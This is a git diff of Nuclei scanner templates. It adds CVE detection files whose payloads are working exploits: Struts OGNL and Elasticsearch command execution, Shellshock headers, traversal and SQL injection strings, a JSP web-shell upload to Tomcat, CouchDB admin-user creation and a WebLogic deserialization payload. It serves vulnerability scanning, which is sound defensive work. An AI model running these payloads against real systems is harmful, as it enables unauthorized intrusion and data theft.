+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+
+## Nuclei Templates overview
+
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+<table>
+<tr>
+<td> 
+
+| Templates      | Counts                         | Templates       | Counts                          | Templates        | Counts                         |
+| -------------- | ------------------------------ | --------------- | ------------------------------- | ---------------- | ------------------------------ |
+| cves           | 206            | vulnerabilities | 101 | exposed-panels   | 74   |
+| exposures      | 55      | technologies    | 48      | misconfiguration | 48 |
+| workflows      | 22        | miscellaneous   | 15     | default-logins   | 12 |
+| exposed-tokens | 9 | dns             | 6               | fuzzing          | 4          |
+| helpers        | 2        | takeovers       | 1         | -                | -                              |
+
+**63 directories, 612 files**.
+
+</td>
+</tr>
+</table>
+
+
+
+
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
 
 Thanks again for your contribution and keeping the community vibrant. :heart:

brute-force/tomcat-manager-bruteforce.yaml

@@ -1,30 +0,0 @@
-id: tomcat-manager-bruteforce
-info:
-  name: tomcat-manager-bruteforce-fuzzing
-  author: pdteam
-  severity: high
-
-requests:
-  - payloads:
-      username: username.txt
-      password: password.txt
-
-      # make sure you have your wordlist on the defind path.
-
-    attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
-
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-        GET /manager/html HTTP/1.1
-        Host: {{Hostname}}
-        Authorization: Basic {{base64(username:password)}}
-        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-        Connection: close
-
-    matchers:
-      - type: status
-        status:
-          - 200

cves/2005/CVE-2005-2428.yaml

@@ -0,0 +1,21 @@
+id: CVE-2005-2428
+info:
+  name: CVE-2005-2428
+  author: CasperGN
+  severity: medium
+  tags: cve,cve2005
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body

cves/2008/CVE-2008-2398.yaml

@@ -0,0 +1,27 @@
+id: CVE-2008-2398
+
+info:
+  name: AppServ Open Project 2.5.10 and earlier XSS
+  author: unstabl3
+  severity: medium
+  tags: cve,cve2008,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=confirm('xss')>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2013/CVE-2013-2251.yaml

@@ -0,0 +1,47 @@
+id: CVE-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation & @dwisiswant0
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  tags: cve,cve2013,rce
+
+requests:
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+      - type: word
+        words:
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
+        part: body

cves/2014/CVE-2014-3120.yaml

@@ -0,0 +1,53 @@
+id: CVE-2014-3120
+
+info:
+  name: ElasticSearch v1.1.1/1.2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+  tags: cve,cve2014,elasticsearch,rce
+
+requests:
+  - raw:
+      - |
+        POST /_search?pretty HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+            "size": 1,
+            "query": {
+              "filtered": {
+                "query": {
+                  "match_all": {
+                  }
+                }
+              }
+            },
+            "script_fields": {
+                "command": {
+                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
+                }
+            }
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2014/CVE-2014-6271.yaml

@@ -0,0 +1,32 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  tags: cve,cve2014,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2015/CVE-2015-1427.yaml

@@ -0,0 +1,51 @@
+id: CVE-2015-1427
+
+info:
+  name: ElasticSearch 1.4.0/1.4.2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://blog.csdn.net/JiangBuLiu/article/details/94457980
+  tags: cve,cve2015,elasticsearch,rce
+
+requests:
+  - raw:
+      - |
+        POST /website/blog/ HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+          "name": "test"
+        }
+      - |
+        POST /_search HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2015/CVE-2015-5688.yaml

@@ -0,0 +1,25 @@
+id: CVE-2015-5688
+
+info:
+ name: Geddy before v13.0.8 LFI
+ author: pikpikcu
+ severity: high
+ issues: https://github.com/geddy/geddy/issues/697
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2015-5688
+ tags: cve,cve2015,geddy,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200

cves/2016/CVE-2016-3081.yaml

@@ -0,0 +1,24 @@
+id: CVE-2016-3081
+
+info:
+  name: S2-032 Struts RCE
+  author: dhiyaneshDK
+  severity: high
+  reference: https://cwiki.apache.org/confluence/display/WW/S2-032
+  tags: cve,cve2016,struts,rce
+
+requests:
+  - raw:
+      - |
+        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 4
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2016/CVE-2016-7552.yaml

@@ -0,0 +1,27 @@
+id: CVE-2016-7552
+
+info:
+  name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
+  author: dwisiswant0
+  severity: critical
+  reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
+  tags: cve,cve2016
+
+  # This template exploits an authentication bypass vulnerability via a file delete in logoff.cgi
+  # which resets the admin password back to 'admin' upon a reboot.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/logoff.cgi"
+    headers:
+      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Backtrace"
+        part: header

cves/2017/CVE-2017-1000028.yaml

@@ -0,0 +1,23 @@
+id: CVE-2017-1000028
+
+info:
+ name: GlassFish LFI
+ author: pikpikcu
+ severity: high
+ reference: https://www.exploit-db.com/exploits/45196
+ tags: cve,cve2017,oracle,glassfish,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+   matchers-condition: and
+   matchers:
+    - type: word
+      words:
+       - "/sbin/nologin"
+      part: body
+
+    - type: status
+      status:
+       - 200

cves/2017/CVE-2017-10075.yaml

@@ -0,0 +1,24 @@
+id: CVE-2017-10075
+
+info:
+  name: Oracle Content Server XSS
+  author: madrobot
+  severity: medium
+  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  tags: cve,cve2017,xss,oracle
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(31337)</script>"
+        part: body

cves/2017/CVE-2017-10271.yaml

@@ -0,0 +1,67 @@
+id: CVE-2017-10271
+
+info:
+  name: CVE-2017-10271
+  author: dr_set
+  severity: high
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  reference: https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
+  tags: cve,cve2017,rce,oracle,weblogic
+
+  # Source:- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
+
+requests:
+  - raw:
+      - |
+          POST /wls-wsat/CoordinatorPortType HTTP/1.1
+          Host: {{Hostname}}
+          Accept: */*
+          Accept-Language: en
+          User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+          Connection: close
+          Content-Type: text/xml
+          Content-Length: 5178
+
+          <?xml version="1.0" encoding="utf-8"?>
+          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+              <soapenv:Header>
+                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java>
+                          <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
+                              <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
+                          </void>
+                          <void class="org.mozilla.classfile.DefiningClassLoader">
+                              <void method="defineClass">
+                                  <string>com.supeream.exploits.XmlExp</string>
+                                  <object idref="cls"></object>
+                                  <void method="newInstance">
+                                      <void method="say" id="proc">
+                                          <string>cat /etc/passwd</string>
+                                      </void>
+                                  </void>
+                              </void>
+                          </void>
+                          <void class="java.lang.Thread" method="currentThread">
+                              <void method="getCurrentWork">
+                                  <void method="getResponse">
+                                      <void method="getServletOutputStream">
+                                          <void method="writeStream">
+                                              <object idref="proc"></object>
+                                          </void>
+                                          <void method="flush"/>
+                                      </void>
+                                      <void method="getWriter"><void method="write"><string></string></void></void>
+                                  </void>
+                              </void>
+                          </void>
+                      </java>
+                  </work:WorkContext>
+              </soapenv:Header>
+              <soapenv:Body/>
+          </soapenv:Envelope>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/2017/CVE-2017-11444.yaml

@@ -0,0 +1,25 @@
+id: CVE-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+  tags: cve,cve2017,sqli,subrion
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-12615.yaml

@@ -0,0 +1,50 @@
+id: CVE-2017-12615
+
+info:
+  name: Apache Tomcat RCE
+  author: pikpikcu
+  severity: critical
+  tags: cve,cve2017,apache,rce
+  reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
+  description: |
+        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
+        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
+        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
+        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/poc.jsp/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        <%@ page import="java.util.*,java.io.*"%>
+        <%
+        if (request.getParameter("cmd") != null) {
+                out.println("Command: " + request.getParameter("cmd") + "<BR>");
+                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+                OutputStream os = p.getOutputStream();
+                InputStream in = p.getInputStream();
+                DataInputStream dis = new DataInputStream(in);
+                String disr = dis.readLine();
+                while ( disr != null ) {
+                        out.println(disr);
+                        disr = dis.readLine();
+                        }
+                }
+        %>
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-12635.yaml

@@ -0,0 +1,47 @@
+id: CVE-2017-12635
+
+info:
+  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 RPE
+  author: pikpikcu
+  severity: high
+  reference: https://github.com/assalielmehdi/CVE-2017-12635
+  tags: cve,cve2017,couchdb,rpe
+
+requests:
+  - raw:
+      - |
+        PUT /_users/org.couchdb.user:poc HTTP/1.1
+        Host:  {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: application/json
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 108
+
+        {
+          "type": "user",
+          "name": "poc",
+          "roles": ["_admin"],
+          "roles": [],
+          "password": "123456"
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+          - "Location:"
+        part: header
+
+      - type: word
+        words:
+          - "org.couchdb.user:poc"
+          - "conflict"
+          - "Document update conflict"
+        part: body
+
+      - type: status
+        status:
+          - 201
+          - 409

cves/2017/CVE-2017-12637.yaml

@@ -0,0 +1,29 @@
+id: CVE-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+  tags: cve,cve2017,sap,traversal
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body

cves/2017/CVE-2017-14537.yaml

@@ -0,0 +1,50 @@
+id: CVE-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+  tags: cve,cve2017,trixbox,traversal
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2017/CVE-2017-14849.yaml

@@ -0,0 +1,22 @@
+id: CVE-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random-Robbie
+  severity: high
+  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+  tags: cve,cve2017,nodejs,traversal
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2017/CVE-2017-5638.yaml

@@ -0,0 +1,31 @@
+id: CVE-2017-5638
+info:
+  author: "Random Robbie"
+  name: "Struts2 RCE "
+  severity: critical
+  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  tags: cve,cve2017,struts,rce
+
+# This template supports the detection part only.
+# Do not test any website without permission
+# Exploit:- https://github.com/mazen160/struts-pwn
+
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header

cves/2017/CVE-2017-7269.yaml

@@ -0,0 +1,32 @@
+id: CVE-2017-7269
+
+info:
+  name: CVE-2017-7269
+  author: thomas_from_offensity
+  severity: critical
+  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
